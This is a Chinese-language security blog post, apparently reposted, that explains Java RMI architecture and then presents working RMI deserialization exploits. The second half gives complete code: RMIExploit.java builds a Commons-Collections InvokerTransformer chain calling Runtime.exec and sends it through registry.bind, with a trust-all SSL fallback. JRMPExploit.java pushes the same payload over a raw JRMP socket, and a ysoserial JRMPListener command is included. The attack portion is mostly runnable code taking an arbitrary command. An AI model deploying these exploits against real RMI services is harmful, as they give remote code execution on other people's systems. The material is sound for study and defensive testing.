JAVA基础之RMI

admin 2024年1月31日21:26:00评论18 views字数 11165阅读37分13秒阅读模式

声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,禁止私自转载,如需转载,请联系作者!!!!

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关!!!!!

RMI概念

RMI代表Remote Method Invocation,允许一个JVM中的对象access/invoke另一个JVM中的对象。
RMI用于构建分布式应用,提供Java项目之间的远程沟通,在包java.rmi中提供

RMI工作原理

RMI架构
RMI基于C/S架构,需要客户端及服务器端实现远程调用。
•在服务器程序内部,创建一个远程对象,并为客户端提供该对象的引用(使用注册表)。
•客户端请求远程服务器对象并尝试调用其方法

JAVA基础之RMI

•Transport Layer:连接客户端和服务器端。    
•Stub:客户端的远程对象的代理(Proxy),对客户端来说充当通路的角色。
•Skeleton:客户端的Stub发送的请求进行交互
•RRL:Remote Reference Layer,管理客户端对服务器远程对象的引用

RMI调用流程

一次RMI调用流程:
1.客户端call远程对象的请求被stub代理并且传送到RRL
2.客户端的RRL收到请求后,调用remoteRef对象的invoke()方法,并将请求传送到服务端的RRL
3.服务端的RRL收到来自客户端的请求后将请求传到Skeleton,Skeleton最终会调用客户端请求的对象并实现方法
4.调用结果传回客户端    

RMI的注册

JAVA基础之RMI

RMI registry是服务器对象的命名空间,每当服务端创建对象,都需要用RMIregistrybindrebind方法并且使用唯一的名字对对象进行注册
•客户端需要对服务端的对象进行引用时,客户端使用lookup方法对registry中的对象进行名字的查找

RMI的实现

服务器端注册服务

RMIServerTest.java

package rmi.server;import java.rmi.Naming;import java.rmi.registry.LocateRegistry;public class RMIServerTest {    // RMI服务器IP地址    public static final String RMI_HOST = "127.0.0.1";    // RMI服务端口    public static final int RMI_PORT = 9527;    // RMI服务名称    public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/test";    public static void main(String[] args) {        try {            // 注册RMI端口            LocateRegistry.createRegistry(RMI_PORT);            // 绑定Remote对象            Naming.bind(RMI_NAME, new RMITestImpl());            System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);        } catch (Exception e) {            e.printStackTrace();        }    }}

通过LocateReigistry.createregistry注册RMI端口,Naming.bind注册对象,RMI_NAME为该对象的唯一命名,new RMITestImpl()为类实例,客户端需要有该类的接口

服务器端的接口及实现代码

RMITestInterface.java

package rmi.server;import java.rmi.Remote;import java.rmi.RemoteException;/** * RMI测试接口 */public interface RMITestInterface extends Remote {    /**     * RMI测试方法     *     * @return 返回测试字符串     */    String test() throws RemoteException;}

该java定义了RMITest的接口

RMITestImpl.java实现了RMITestInterface接口

package rmi.server;import rmi.server.RMITestInterface;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class RMITestImpl extends UnicastRemoteObject implements RMITestInterface {    private static final long serialVersionUID = 1L;    protected RMITestImpl() throws RemoteException {        super();    }    /**     * RMI测试方法     *     * @return 返回测试字符串     */    @Override    public String test() throws RemoteException {        return "Hello RMI~";    }}

客户端只需要实现接口

RMITestInterface.java

package rmi.client;import java.rmi.Remote;import java.rmi.RemoteException;/** * RMI测试接口 */public interface RMITestInterface extends Remote {    /**     * RMI测试方法     *     * @return 返回测试字符串     */    String test() throws RemoteException;}

实现RMI

运行服务器端RMI Server,即RMIServerTest.java

JAVA基础之RMI

客户端发出RMI请求,对应RMIClientTest.java文件,成功调用方法

JAVA基础之RMI

RMI攻击

RMI通信使用序列化数据,意味着客户端和服务器端都存在反序列化的风险!!!

Registry攻击

主要思路:

1. 发现目标开启RMI Registry服务,准备攻击

2. 生成Common-Collections生成的反序列化攻击链payload,通过remote对象存储payload

3. 通过registry.bind(name,remote)请求远程RMI时,远程RMI解析请求并且反序列化,从而触发反序列化

常用函数有lookup,rebind,bind

环境

- java1.7

- 导入Common-Collections-3.1.jar

1、开启远程RMI

package rmi.server;import java.rmi.Naming;import java.rmi.registry.LocateRegistry;public class RMIServerTest {    // RMI服务器IP地址    public static final String RMI_HOST = "192.168.43.238";    // RMI服务端口    public static final int RMI_PORT = 9527;    // RMI服务名称    public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/test";    public static void main(String[] args) {        try {            // 注册RMI端口            LocateRegistry.createRegistry(RMI_PORT);            // 绑定Remote对象            Naming.bind(RMI_NAME, new RMITestImpl());            System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);        } catch (Exception e) {            e.printStackTrace();        }    }}

JAVA基础之RMI

进行RMI攻击

RMIExploit.java

package rmi.attack;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import javax.net.ssl.SSLContext;import javax.net.ssl.SSLSocketFactory;import javax.net.ssl.TrustManager;import javax.net.ssl.X509TrustManager;import java.io.IOException;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.net.Socket;import java.rmi.ConnectIOException;import java.rmi.Remote;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.RMIClientSocketFactory;import java.security.cert.X509Certificate;import java.util.HashMap;import java.util.Map;import static rmi.server.RMIServerTest.RMI_HOST;import static rmi.server.RMIServerTest.RMI_PORT;/** * RMI反序列化漏洞利用,修改自ysoserial的RMIRegistryExploit:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/RMIRegistryExploit.java * * @author yz */public class RMIExploit {    // 定义AnnotationInvocationHandler类常量    public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";    /**     * 信任SSL证书     */    private static class TrustAllSSL implements X509TrustManager {        private static final X509Certificate[] ANY_CA = {};        public X509Certificate[] getAcceptedIssuers() {            return ANY_CA;        }        public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }        public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }    }    /**     * 创建支持SSL的RMI客户端     */    private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {        public Socket createSocket(String host, int port) throws IOException {            try {                // 获取SSLContext对象                SSLContext ctx = SSLContext.getInstance("TLS");                // 默认信任服务器端SSL                ctx.init(null, new TrustManager[]{new TrustAllSSL()}, null);                // 获取SSL Socket连接工厂                SSLSocketFactory factory = ctx.getSocketFactory();                // 创建SSL连接                return factory.createSocket(host, port);            } catch (Exception e) {                throw new IOException(e);            }        }    }    /**     * 使用动态代理生成基于InvokerTransformer/LazyMap的Payload     *     * @param command 定义需要执行的CMD     * @return Payload     * @throws Exception 生成Payload异常     */    private static InvocationHandler genPayload(String command) throws Exception {        // 创建Runtime.getRuntime.exec(cmd)调用链        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[]{                        String.class, Class[].class}, new Object[]{                        "getRuntime", new Class[0]}                ),                new InvokerTransformer("invoke", new Class[]{                        Object.class, Object[].class}, new Object[]{                        null, new Object[0]}                ),                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})        };        // 创建ChainedTransformer调用链对象        Transformer transformerChain = new ChainedTransformer(transformers);        // 使用LazyMap创建一个含有恶意调用链的Transformer类的Map对象        final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);        // 获取AnnotationInvocationHandler类对象        Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);        // 获取AnnotationInvocationHandler类的构造方法        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);        // 设置构造方法的访问权限        constructor.setAccessible(true);        // 实例化AnnotationInvocationHandler,        // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, lazyMap);        InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);        // 使用动态代理创建出Map类型的Payload        final Map mapProxy2 = (Map) Proxy.newProxyInstance(                ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, annHandler);        // 实例化AnnotationInvocationHandler,        // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, mapProxy2);        return (InvocationHandler) constructor.newInstance(Override.class, mapProxy2);    }    /**     * 执行Payload     *     * @param registry RMI Registry     * @param command  需要执行的命令     * @throws Exception Payload执行异常     */    public static void exploit(final Registry registry, final String command) throws Exception {        // 生成Payload动态代理对象        Object payload = genPayload(command);        String name    = "test" + System.nanoTime();        // 创建一个含有Payload的恶意map        Map<String, Object> map = new HashMap();        map.put(name, payload);        // 获取AnnotationInvocationHandler类对象        Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);        // 获取AnnotationInvocationHandler类的构造方法        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);        // 设置构造方法的访问权限        constructor.setAccessible(true);        // 实例化AnnotationInvocationHandler,        // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, map);        InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, map);        // 使用动态代理创建出Remote类型的Payload        Remote remote = (Remote) Proxy.newProxyInstance(                ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, annHandler);        try {            // 发送Payload            registry.bind(name, remote);        } catch (Throwable e) {            e.printStackTrace();        }    }    public static void main(String[] args) throws Exception {        if (args.length == 0) {            // 如果不指定连接参数默认连接本地RMI服务            args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "calc"};        }        // 远程RMI服务IP        final String host = args[0];        // 远程RMI服务端口        final int port = Integer.parseInt(args[1]);        // 需要执行的系统命令        final String command = args[2];        // 获取远程Registry对象的引用        Registry registry = LocateRegistry.getRegistry(host, port);        try {            // 获取RMI服务注册列表(主要是为了测试RMI连接是否正常)            String[] regs = registry.list();            for (String reg : regs) {                System.out.println("RMI:" + reg);            }        } catch (ConnectIOException ex) {            // 如果连接异常尝试使用SSL建立SSL连接,忽略证书信任错误,默认信任SSL证书            registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());        }        // 执行payload        exploit(registry, command);    }}

成功弹窗

JAVA基础之RMI

socket攻击

我们可以通过和RMI服务端建立Socket连接并使用RMI的JRMP协议发送恶意的序列化包,RMI服务端在处理JRMP消息时会反序列化消息对象,从而实现RCE。
JRMP接口的两种常见实现方式
1. JRMP协议(Java Remote Message Protocol),RMI专用的Java远程消息交换协议。
2. IIOP协议(Internet Inter-ORB Protocol) ,基于 CORBA 实现的对象请求代理协议。
利用方式
1. 启动RMIServerTest.java
2. 以socket的方式通过JRMP协议发送恶意序列化数据
JRMPExploit.java
package rmi.attack;import sun.rmi.server.MarshalOutputStream;import sun.rmi.transport.TransportConstants;import java.io.DataOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.io.OutputStream;import java.net.Socket;import rmi.attack.RMIExploit;import static rmi.server.RMIServerTest.RMI_HOST;import static rmi.server.RMIServerTest.RMI_PORT;/** * 利用RMI的JRMP协议发送恶意的序列化包攻击示例,该示例采用Socket协议发送序列化数据,不会反序列化RMI服务器端的数据, * 所以不用担心本地被RMI服务端通过构建恶意数据包攻击,示例程序修改自ysoserial的JRMPClient:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPClient.java */public class JRMPExploit {    public static void main(String[] args) throws IOException {        if (args.length == 0) {            // 如果不指定连接参数默认连接本地RMI服务            args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "calc"};        }        // 远程RMI服务IP        final String host = args[0];        // 远程RMI服务端口        final int port = Integer.parseInt(args[1]);        // 需要执行的系统命令        final String command = args[2];        // Socket连接对象        Socket socket = null;        // Socket输出流        OutputStream out = null;        try {            // 创建恶意的Payload对象            Object payloadObject = RMIExploit.genPayload(command);            // 建立和远程RMI服务的Socket连接            socket = new Socket(host, port);//            socket = new Socket("127.0.0.1", port);            socket.setKeepAlive(true);            socket.setTcpNoDelay(true);            // 获取Socket的输出流对象            out = socket.getOutputStream();            // 将Socket的输出流转换成DataOutputStream对象            DataOutputStream dos = new DataOutputStream(out);            // 创建MarshalOutputStream对象            ObjectOutputStream baos = new MarshalOutputStream(dos);            // 向远程RMI服务端Socket写入RMI协议并通过JRMP传输Payload序列化对象            dos.writeInt(TransportConstants.Magic);// 魔数            dos.writeShort(TransportConstants.Version);// 版本            dos.writeByte(TransportConstants.SingleOpProtocol);// 协议类型            dos.write(TransportConstants.Call);// RMI调用指令            baos.writeLong(2); // DGC            baos.writeInt(0);            baos.writeLong(0);            baos.writeShort(0);            baos.writeInt(1); // dirty            baos.writeLong(-669196253586618813L);// 接口Hash值            // 写入恶意的序列化对象            baos.writeObject(payloadObject);            dos.flush();        } catch (Exception e) {            e.printStackTrace();        } finally {            // 关闭Socket输出流            if (out != null) {                out.close();            }            // 关闭Socket连接            if (socket != null) {                socket.close();            }        }    }}

集成工具

使用ysoserial工具启动JRMP服务器,将恶意序列化数据返回客户端或者服务端,造成反序列化攻击

使用 ysoserial 开启一个 JRMP 监听服务(这里指的是 exploit/JRMPListener):

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6calc

只要服务端或者客户端获取到 Registry,并且执行了以下方法之一,自身就会被 RCE:

list / unbind / lookup / rebind / bind

JAVA基础之RMI

JAVA基础之RMI

RMI 通信过程中使用的是 JRMP 协议,ysoserial 中的 exploit/JRMPListener 会在指定端口开启一个 JRMP Server,然后会向任何连接其的客户端发送反序列化 payload。

原文始发于微信公众号(极星信安):JAVA基础之RMI

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月31日21:26:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JAVA基础之RMIhttps://cn-sec.com/archives/2445103.html

发表评论

匿名网友 填写信息